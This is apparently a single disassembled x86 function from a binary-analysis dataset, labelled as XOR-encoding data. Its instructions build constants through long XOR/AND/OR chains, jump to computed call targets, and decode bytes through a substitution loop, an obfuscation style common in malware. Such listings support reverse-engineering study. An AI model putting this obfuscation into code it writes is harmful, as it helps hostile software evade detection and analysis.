Function at 0x405d3e
Capabilities:
Encode data using xor

Disassembly:
inc ecx
xor edx, ecx
mov esi, 0x4e95b3f6
xor edx, esi
mov ebx, 0xc0a201a
mov ecx, 0x500447a0
xor ebx, ecx
mov esi, 0x5c0e67fa
xor ebx, esi
xor edx, ebx
mov eax, dword [edx]
mov esi, 0x1f5ec6f2
xor esi, 0x1796ceb3
mov ecx, 0x54132400
mov edx, 0x24c100
xor ecx, edx
xor esi, ecx
add esp, 0xfffffffc
mov edx, esp
mov dword [edx], esi
mov edi, 0x8b8000
mov edx, 0x10004001
xor edi, edx
push 0x2811f56a
mov ecx, 0x6465d82a
pop edx
xor ecx, edx
xor edi, ecx
pop ebx
xor edi, ebx
xor ecx, ecx
add ecx, edi
add esp, 0xfffffffc
mov edx, esp
mov dword [edx], ecx
xor ebx, ebx
add ebx, esp
xor ecx, ecx
add ecx, ebx
mov esi, 4
sub esp, esi
mov dword [esp], ecx
mov edi, 0x7ff267be
xor edi, 0x308d1215
push edi
mov ebx, 0x7d413ba9
xor ebx, 0x1454daad
pop ecx
xor ebx, ecx
add esp, 0xfffffffc
mov edi, esp
mov dword [edi], ebx
mov edx, 0x4ddb1925
xor edx, 0x6db11d8d
push 0x596b35db
mov ebx, 0x5f6ba59c
pop ecx
xor ebx, ecx
xor edx, ebx
pop esi
xor edx, esi
mov edi, edx
mov ebx, 0xfffffffc
add esp, ebx
mov dword [esp], edi
mov ebx, 0x222650
mov edi, 0x441182
xor ebx, edi
mov edx, 0x454b6b0b
xor edx, 0x3c442d71
xor edx, ebx
mov ecx, edx
mov edi, 0xcd86faf3
xor ecx, edi
xor ecx, 0x3279050c
and ecx, 0x7969efa8
and edx, 0x86961057
or edx, ecx
mov ebx, 0
xor ebx, edx
mov edi, 0xfffffffc
add esp, edi
mov dword [esp], ebx
mov esi, 0x75c87c8d
xor esi, 0x62f9d6c3
push esi
mov esi, 0x627a2fb
mov ecx, 0x15be56a1
xor ecx, esi
pop edx
xor ecx, edx
add esp, 0xfffffffc
mov esi, esp
mov dword [esi], ecx
mov edx, 0x34eca237
mov ebx, 0x721af186
xor ebx, edx
mov ecx, ebx
xor ecx, 0xffffffff
and ecx, 0x421e1da5
and ebx, 0xbde1e25a
or ebx, ecx
pop edi
xor ebx, edi
push ebx
pop ecx
mov edx, 4
sub esp, edx
mov dword [esp], ecx
call eax
pop edx
mov edx, 0x1438c8b2
xor edx, 0x41598b8
mov eax, 0x20100900
mov ebx, 0x820400
xor eax, ebx
xor edx, eax
mov ecx, 0x120e09
mov edi, 0x20041002
xor ecx, edi
push 0x40b17f84
mov esi, 0x50183fa0
pop ebx
xor esi, ebx
xor ecx, esi
xor ecx, edx
mov edi, 0x17233daf
xor edi, 0x10286f1a
push edi
push 0x39f8fee8
mov edx, 0x4dc5ddc4
pop edi
xor edx, edi
pop esi
xor edx, esi
mov edi, edx
push edi
mov esi, 0x6f44d35c
mov ebx, 0x11b24026
xor ebx, esi
mov edx, 0xd80aeec
xor ebx, edx
pop eax
xor ebx, eax
push 0x474a155c
mov edi, 0x9718924
pop esi
xor edi, esi
mov eax, 0x1981e89d
xor edi, eax
mov eax, 0x46482005
mov edx, 0x11b2d810
xor eax, edx
xor edi, eax
mov eax, ecx
mov esi, eax
mov edx, 0
xor edx, esi
mov eax, 0x57bb01c1
mov esi, 0xa844fe3d
xor esi, eax
add esp, esi
mov dword [esp], edx
mov edx, 0x5505f72d
mov esi, 0xaafa08d1
xor esi, edx
add esp, esi
mov eax, 0
mov edx, 0
xor eax, edx
xor eax, esp
mov dword [eax], edi
xor ecx, ecx
mov cl, byte [ebx]
add edi, ecx
mov cl, byte [edi]
pop edi
mov byte [ebx], cl
mov esi, 0x3f9f4d84
xor esi, 0x3f9f4d85
sub ebx, esi
pop ecx
mov esi, 0
mov edx, 0
xor esi, edx
mov edx, 0x58660bda
mov eax, 0x58660bdb
xor eax, edx
xor esi, eax
sub ecx, esi
cmp ecx, 0
jne 0x405f2e
mov esi, 0x4400
mov edi, 0x71012026
xor esi, edi
mov eax, 0x31012884
mov ecx, 0x40400441
xor eax, ecx
xor eax, esi
mov ecx, 0x195970c9
xor ecx, 0x5df5c400
push ecx
push 0x1313feb3
mov edx, 0x57bf4a72
pop esi
xor edx, esi
pop ebx
xor edx, ebx
xor eax, edx
call eax
pop edx
pop edx
ret